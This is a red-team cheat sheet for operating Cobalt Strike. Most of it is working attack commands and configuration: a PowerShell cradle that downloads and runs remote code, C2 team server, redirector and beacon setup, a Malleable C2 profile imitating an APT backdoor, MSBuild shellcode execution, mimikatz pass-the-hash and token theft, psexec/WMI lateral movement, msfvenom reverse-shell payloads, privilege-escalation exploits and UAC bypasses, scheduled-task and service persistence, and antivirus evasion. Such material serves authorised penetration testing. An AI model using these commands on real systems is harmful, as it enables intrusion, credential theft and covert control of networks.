# Cobalt Strike > Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity. ```powershell $ sudo apt-get update $ sudo apt-get install openjdk-11-jdk $ sudo apt install proxychains socat $ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64 $ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile] $ ./cobaltstrike $ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))" ``` ## Summary * [Infrastructure](#infrastructure) * [Redirectors](#redirectors) * [Domain fronting](#domain-fronting) * [OpSec](#opsec) * [Payloads](#payloads) * [DNS Beacon](#dns-beacon) * [SMB Beacon](#smb-beacon) * [Metasploit compatibility](#metasploit-compatibility) * [Custom Payloads](#custom-payloads) * [Malleable C2](#malleable-c2) * [Files](#files) * [Powershell and .NET](#powershell-and-net) * [Powershell commabds](#powershell-commands) * [.NET remote execution](#net-remote-execution) * [Lateral Movement](#lateral-movement) * [VPN & Pivots](#vpn--pivots) * [Kits](#kits) * [Elevate Kit](#elevate-kit) * [Persistence Kit](#persistence-kit) * [Resource Kit](#resource-kit) * [Artifact Kit](#artifact-kit) * [References](#references) ## Infrastructure ### Redirectors ```powershell sudo apt install socat socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80 ``` ### Domain Fronting * New Listener > HTTP Host Header * Target Finance & Healthcare domains ### OpSec **Don't** * Change default self-signed HTTPS certificate * Change default port (50050) * 0.0.0.0 DNS response * Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D` **Do** * Use a redirector (Apache, CDN, ...) * Firewall to only accept HTTP/S from the redirectors * Firewall 50050 and access via SSH tunnel * Edit default HTTP 404 page and Content type: text/plain * No staging `set hosts_stage` to `false` in Malleable C2 ## Payload ### DNS Beacon * Edit the Zone File for the domain * Create an A record for Cobalt Strike system * Create an NS record that points to FQDN of your Cobalt Strike system Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record. * nslookup jibberish.beacon polling.campaigns.domain.com * nslookup jibberish.beacon campaigns.domain.com Example of DNS on Digital Ocean: ```powershell NS example.com directs to 10.10.10.10. 86400 NS polling.campaigns.example.com directs to campaigns.example.com. 3600 A campaigns.example.com directs to 10.10.10.10 3600 ``` ```powershell systemctl disable systemd-resolved systemctl stop systemd-resolved rm /etc/resolv.conf echo "nameserver 8.8.8.8" > /etc/resolv.conf echo "nameserver 8.8.4.4" >> /etc/resolv.conf ``` Configuration: 1. **host**: campaigns.domain.com 2. **beacon**: polling.campaigns.domain.com 3. Interact with a beacon, and `sleep 0` ### SMB Beacon ```powershell link [host] [pipename] connect [host] [port] unlink [host] [PID] jump [exec] [host] [pipe] ``` SMB Beacon uses Named Pipes. You might encounter these error code while running it. | Error Code | Meaning | Description | |------------|----------------------|----------------------------------------------------| | 2 | File Not Found | There is no beacon for you to link to | | 5 | Access is denied | Invalid credentials or you don't have permission | | 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. | ### SSH Beacon ```powershell # deploy a beacon beacon> help ssh Use: ssh [target:port] [user] [pass] Spawn an SSH client and attempt to login to the specified target beacon> help ssh-key Use: ssh [target:port] [user] [/path/to/key.pem] Spawn an SSH client and attempt to login to the specified target # beacon's commands upload Upload a file download Download a file socks Start SOCKS4a server to relay traffic sudo Run a command via sudo rportfwd Setup a reverse port forward shell Execute a command via the shell ``` ### Metasploit compatibility * Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https * Set LHOST and LPORT to the beacon * Set DisablePayloadHandler to True * Set PrependMigrate to True * exploit -j ### Custom Payloads https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c ```powershell * Attacks > Packages > Payload Generator * Attacks > Packages > Scripted Web Delivery (S) $ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor $ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml $ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml ``` ## Malleable C2 * Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles * Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2 * Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles ```powershell set useragent "SOME AGENT"; # GOOD set useragent 'SOME AGENT'; # BAD prepend "This is an example;"; # Escape Double quotes append "here is \"some\" stuff"; # Escape Backslashes append "more \\ stuff"; # Some special characters do not need escaping prepend "!@#$%^&*()"; ``` Check a profile with `./c2lint`. ```powershell # # Etumbot Profile # http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/ # # Author: @harmj0y # set sample_name "Etumbot"; set sleeptime "5000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get { set uri "/image/"; client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8"; header "Referer" "http://www.google.com"; header "Pragma" "no-cache"; header "Cache-Control" "no-cache"; metadata { netbios; append "-.jpg"; uri-append; } } server { header "Content-Type" "img/jpg"; header "Server" "Microsoft-IIS/6.0"; header "X-Powered-By" "ASP.NET"; output { base64; print; } } } http-post { set uri "/history/"; client { header "Content-Type" "application/octet-stream"; header "Referer" "http://www.google.com"; header "Pragma" "no-cache"; header "Cache-Control" "no-cache"; id { netbiosu; append ".asp"; uri-append; } output { base64; print; } } server { header "Content-Type" "img/jpg"; header "Server" "Microsoft-IIS/6.0"; header "X-Powered-By" "ASP.NET"; output { base64; print; } } } ``` ## Files ```powershell # List the file on the specified directory beacon > ls <C:\Path> # Change into the specified working directory beacon > cd [directory] # Delete a file\folder beacon > rm [file\folder] # File copy beacon > cp [src] [dest] # Download a file from the path on the Beacon host beacon > download [C:\filePath] # Lists downloads in progress beacon > downloads # Cancel a download currently in progress beacon > cancel [*file*] # Upload a file from the attacker to the current Beacon host beacon > upload [/path/to/file] ``` ## Powershell and .NET ### Powershell commands ```powershell # Import a Powershell .ps1 script from the control server and save it in memory in Beacon beacon > powershell-import [/path/to/script.ps1] # Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned. beacon > powershell [commandlet][arguments] # Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto beacon > powerpick [commandlet] [argument] # Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs beacon > psinject [pid][arch] [commandlet] [arguments] ``` ### .NET remote execution Run a local .NET executable as a Beacon post-exploitation job. Require: * Binaries compiled with the "Any CPU" configuration. ```powershell beacon > execute-assembly [/path/to/script.exe] [arguments] beacon > execute-assembly /home/audit/Rubeus.exe [*] Tasked beacon to run .NET program: Rubeus.exe [+] host called home, sent: 318507 bytes [+] received output: ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.4.2 ``` ## Lateral Movement :warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe - **portscan:** Performs a portscan on a spesific target. - **runas:** A wrapper of runas.exe, using credentials you can run a command as another user. - **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \ :exclamation: This module needs Administrator privileges. - **steal_token:** Steal a token from a specified process. - **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user. - **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \ :exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \ :muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network. - **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \ :exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target. - **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts. :warning: All the commands launch powershell.exe ```powershell Beacon Remote Exploits ====================== jump [module] [target] [listener] psexec x86 Use a service to run a Service EXE artifact psexec64 x64 Use a service to run a Service EXE artifact psexec_psh x86 Use a service to run a PowerShell one-liner winrm x86 Run a PowerShell script via WinRM winrm64 x64 Run a PowerShell script via WinRM Beacon Remote Execute Methods ============================= remote-exec [module] [target] [command] Methods Description ------- ----------- psexec Remote execute via Service Control Manager winrm Remote execute via WinRM (PowerShell) wmi Remote execute via WMI (PowerShell) ``` Opsec safe Pass-the-Hash: 1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"` 2. `steal_token PID` ### Assume Control of Artifact * Use `link` to connect to SMB Beacon * Use `connect` to connect to TCP Beacon ## VPN & Pivots :warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy. > Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second. ```powershell # Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage. beacon > socks [PORT] # Proxy browser traffic through a specified Internet Explorer process. beacon > browserpivot [pid] [x86|x64] # Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port. beacon > rportfwd [bind port] [forward host] [forward port] # spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn. msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin # spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller # then you can handle the connect back on your MSF multi handler beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin ``` ## Kits ### Elevate Kit UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018) ```powershell beacon> runasadmin Beacon Command Elevators ======================== Exploit Description ------- ----------- ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113) ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701) ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051) svc-exe Get SYSTEM via an executable run as a service uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup) uac-token-duplication Bypass UAC with Token Duplication ``` ### Persistence Kit * https://github.com/0xthirteen/MoveKit * https://github.com/fireeye/SharPersist ```powershell # List persistences SharPersist -t schtaskbackdoor -m list SharPersist -t startupfolder -m list SharPersist -t schtask -m list # Add a persistence SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add SharPersist -t schtaskbackdoor -n "Something Cool" -m remove SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add SharPersist -t service -n "Some Service" -m remove SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly SharPersist -t schtask -n "Some Task" -m remove ``` ### Resource Kit > The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows ### Artifact Kit > Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder. Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 : - Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)` - Install the dependencies : `sudo apt-get install mingw-w64` - Edit the Artifact code * Change pipename strings * Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc * Change Import - Build the Artifact - Cobalt Strike -> Script Manager > Load .cna ## References * [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI) * [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0) * [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao) * [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk) * [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8) * [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw) * [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io) * [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0) * [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s) * [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b) * [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/) * [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/) * [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon) * [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)